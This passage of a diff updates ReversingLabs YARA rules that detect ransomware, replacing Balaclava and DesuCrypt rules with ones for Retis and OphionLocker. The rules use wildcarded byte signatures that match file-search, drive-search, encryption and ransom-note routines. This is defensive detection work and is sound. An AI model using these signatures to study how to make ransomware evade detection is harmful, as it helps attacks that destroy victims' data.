+            ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ??
+            ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E
+            ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ??
+            ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 26 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 26 73 ?? ?? ?? ?? 0A 7E ?? ?? ?? ?? 0B 06 07 6F ?? ?? ?? ?? 26 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and (( all of ($encrypt_files_p*)) or ($encrypt_files_angus_version)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Win32_Ransomware_Balaclava : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Retis : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Balaclava ransomware."
+		description = "Yara rule that detects Retis ransomware."
 		author = "ReversingLabs"
-		id = "1a17f2e8-f161-55bc-b44e-f8f47ebd9869"
-		date = "2020-10-01"
-		modified = "2020-10-01"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Balaclava.yara#L1-L113"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "01b43e6ea7ceebdbdda7e1f7c5bd2439a460b8aed4a1837755fa3679e9893ff3"
+		id = "3d1de7c2-abb7-5411-a598-6bc68229a22a"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Retis.yara#L1-L74"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3e3429041acc5730b009916efbcd35c7cfd2b2877dc1d2cf980f7fb7d399d532"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28497,104 +30334,70 @@ rule REVERSINGLABS_Win32_Ransomware_Balaclava : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Balaclava"
+		tc_detection_name = "Retis"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 83 EC ?? 53 56 8B 75 ?? 33 D2 57 6A ?? 5B 8B 7E ?? 89 55 ?? 8D 4F ?? 66 8B
-            07 03 FB 66 3B C2 75 ?? 2B F9 B9 ?? ?? ?? ?? D1 FF E8 ?? ?? ?? ?? 50 FF 76 ?? 89 45
-            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
-            45 ?? 83 C0 ?? 89 45 ?? 8B D8 33 D2 8D 4B ?? 66 8B 03 83 C3 ?? 66 3B C2 75 ?? 2B D9
-            D1 FB 8D 04 3B 3D ?? ?? ?? ?? 7C ?? 8D 04 45 ?? ?? ?? ?? 50 39 56 ?? 74 ?? FF 76 ??
-            52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ??
-            ?? ?? 39 46 ?? 74 ?? 89 46 ?? 8B 46 ?? 33 C9 66 89 0C 78 8B 55 ?? F7 02 ?? ?? ?? ??
-            0F 85 ?? ?? ?? ?? 33 D2 8B C2 6A ?? 89 45 ?? 59 89 4D ?? 3B C1 7F ?? 03 C1 8B 4D ??
-            99 2B C2 D1 F8 89 45 ?? 8B 14 85 ?? ?? ?? ?? 66 8B 01 66 3B 02 75 ?? 66 85 C0 74 ??
-            66 8B 41 ?? 66 3B 42 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 D2 8B C2 EB ?? 1B
-            C0 83 C8 ?? 33 D2 85 C0 0F 84 ?? ?? ?? ?? 79 ?? 8B 4D ?? 8B 45 ?? 49 EB ?? 8B 45 ??
-            8B 4D ?? 40 89 45 ?? EB ?? 8B 45 ?? F6 00 ?? 0F 84 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ??
-            50 8B 46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? 8B 46 ??
-            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 74
-            ?? 83 7E ?? ?? 7E ?? FF 76 ?? 8B 4E ?? FF 76 ?? E8 ?? ?? ?? ?? 59 59 8B 4E ?? 8D 14
-        }
-		$find_files_p2 = {
-            3B A1 ?? ?? ?? ?? 56 89 44 51 ?? 66 A1 ?? ?? ?? ?? 66 89 44 51 ?? FF 46 ?? E8 ?? ??
-            ?? ?? FF 4E ?? E9 ?? ?? ?? ?? 39 56 ?? 0F 85 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ?? 50 8B
-            46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 5E ?? 83 C4 ?? 8B CB B8 ?? ??
-            ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ??
-            83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B CB 8D
-            51 ?? 66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 F9 ?? 72 ?? 8B CB 8D 51 ??
-            66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 C1 ?? 68 ?? ?? ?? ?? 8D 04 4B 50
-            FF 15 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 A8 ?? 74 ?? 83 E0 ??
-            50 FF 76 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? EB ?? 85 C0 75 ?? 6A ?? 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ??
-            ?? ?? ?? 6A ?? 58 3B C8 A1 ?? ?? ?? ?? 74 ?? 83 F8 ?? 74 ?? FF 76 ?? A1 ?? ?? ?? ??
-            33 D2 6A ?? 03 C1 59 F7 F1 FF 34 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 05 ?? ?? ?? ??
-            FF 05 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 6A
-            ?? 59 66 89 4C 78 ?? 33 C9 8B 46 ?? 66 89 0C 78 FF 75 ?? 8B 5D ?? 53 FF 15 ?? ?? ??
-            ?? 85 C0 74 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 5D ?? 33 FF 39 7E ??
-            75 ?? 89 3E 53 FF 15 ?? ?? ?? ?? 8B DF 8B 4D ?? E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5
-            5D C2
-        }
-		$encrypt_files_p1 = {
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 55 ?? 8B C1 89 45 ?? C7 45 ?? ?? ??
-            ?? ?? 33 F6 89 75 ?? 83 4D ?? ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75
-            ?? 56 68 ?? ?? ?? ?? 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ??
-            83 FB ?? 74 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 0B 45 ?? 74 ??
-            8B FE EB ?? 33 FF 47 89 7D ?? 85 FF 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89
-            45 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 8B C8 A1 ?? ?? ?? ?? EB ?? 8B
-            CE 85 C9 0F 84 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 EB ?? 8B C6 85 C0 0F 84
-            ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 7D ?? 57 53 FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? 83 CF ?? 89 7D ?? E9 ?? ?? ?? ?? 8B 45 ?? 3B C6 7C ?? 8B 4D ?? 7F ?? 81 F9 ?? ??
-            ?? ?? 76 ?? 81 E9 ?? ?? ?? ?? 1B C6 50 51 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 89
+		$search_files = {
+            00 00 04 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C 00 08 28 ?? ?? ?? ??
+            0A 72 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ??
+            ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 06 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ??
+            12 ?? 28 ?? ?? ?? ?? 13 07 00 11 ?? 73 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 16 FE
+            ?? 13 ?? 11 ?? 2C ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ??
+            00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 00 00 2B ?? 00 1F ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ??
+            ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 12 ??
+            28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE
+            ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ??
+            6F ?? ?? ?? ?? 00 DC 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 DC 2A
         }
-		$encrypt_files_p2 = {
-            75 ?? 85 F6 75 ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 03 C7 50 53 FF 15 ?? ?? ??
-            ?? 8B FE 89 7D ?? EB ?? 56 56 6A ?? 5A 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 8B FE 89 7D
-            ?? 85 FF 75 ?? 56 8D 45 ?? 50 6A ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50 FF 71 ?? 6A ?? 5A 8B 4D ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 0F B6 C0 23 F8 89 7D ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70
-            ?? FF 70 ?? 53 FF 15 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 70 ?? 53 FF 15
-            ?? ?? ?? ?? 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8B 55 ?? 52
-            8B 4D ?? 8B 45 ?? 03 C1 50 52 51 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 56 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ??
-            ?? ?? 56 56 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF
-            15 ?? ?? ?? ?? 83 7D ?? ?? 76 ?? 8B 45 ?? 2D ?? ?? ?? ?? 8B 4D ?? 1B CE 51 50 33 D2
-            8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 45 ?? 50 53 FF 15 ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 4D ?? ?? E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? C3
+		$search_drives = {
+            00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00
+            11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 00 00 09 17 58 0D 09 08 8E 69 32 ?? 07 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 26 00 07 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ??
+            13 ?? 00 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ??
+            12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 2B ??
+            12 ?? 28 ?? ?? ?? ?? 13 ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ??
+            28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE ??
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ??
+            ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 12 ??
+            28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+            DC 2A
         }
-		$find_volumes = {
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 33 DB 53 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 56 53 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ??
-            ?? 89 5D ?? 6A ?? 5B 8D B5 ?? ?? ?? ?? 8D 4E ?? 33 D2 66 8B 06 83 C6 ?? 66 3B C2 75
-            ?? 2B F1 D1 FE 66 39 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66
-            83 BD ?? ?? ?? ?? ?? 75 ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66 39 9C 75 ?? ?? ?? ?? 75 ??
-            33 C0 66 89 84 75 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 66 89 9C 75 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 4D ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 FF 15 ??
-            ?? ?? ?? 8B 65 ?? E8 ?? ?? ?? ?? C3
+		$encrypt_files = {
+            00 03 19 17 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 0B 06 07
+            16 07 8E 69 6F ?? ?? ?? ?? 26 06 6F ?? ?? ?? ?? 00 03 18 18 73 ?? ?? ?? ??
+            0C 73 ?? ?? ?? ?? 0D 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 00 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 00 09 6F ?? ?? ?? ?? 13 ?? 08 11 ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 07
+            16 07 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00
+            03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_volumes) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($search_files and $search_drives and $encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Desucrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ophionlocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects DesuCrypt ransomware."
+		description = "Yara rule that detects OphionLocker ransomware."
 		author = "ReversingLabs"
-		id = "b9b3ce2b-f184-5bfa-8e1c-a7b996ac708a"
+		id = "75335749-66bd-539e-92b3-dd92c0b332d8"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DesuCrypt.yara#L1-L93"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "bd3ba8ea0fc16aad859a73628d0eda180d49298162fe239acf81c7c4e371eaad"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.OphionLocker.yara#L1-L105"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3c54a948a6a45ec5f5bc32fbbdbc8822f402b1332e9109b20b90635464dbe2ac"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28602,77 +30405,91 @@ rule REVERSINGLABS_Win32_Ransomware_Desucrypt : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "DesuCrypt"
+		tc_detection_name = "OphionLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
-            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ??
-            ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF
-            75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B
-            CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B
-            43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF
-            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
-            C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA
-            ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB
-            80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56
-            1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
-            ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15
-            ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
-            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
-            80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0
-            8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+		$ol_do_filetypes_1 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 33 DB 53 89 5D ?? 53 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
         }
-		$encrypt_files = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
-            ?? ?? 53 56 57 8B D9 89 54 24 ?? B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? BE ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? F3 A5 6A ?? 6A ?? 8D
-            44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 66 A5 50 6A ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B
-            E5 5D C3 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? 8D 84 24 ??
-            ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ??
-            ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F
-            5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 8D 44 24 ?? 50 FF 74 24
-            ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 8B 43 ?? 8B 3D ?? ?? ?? ?? 50 89 44 24 ?? 89 44 24 ?? 8D 44 24 ??
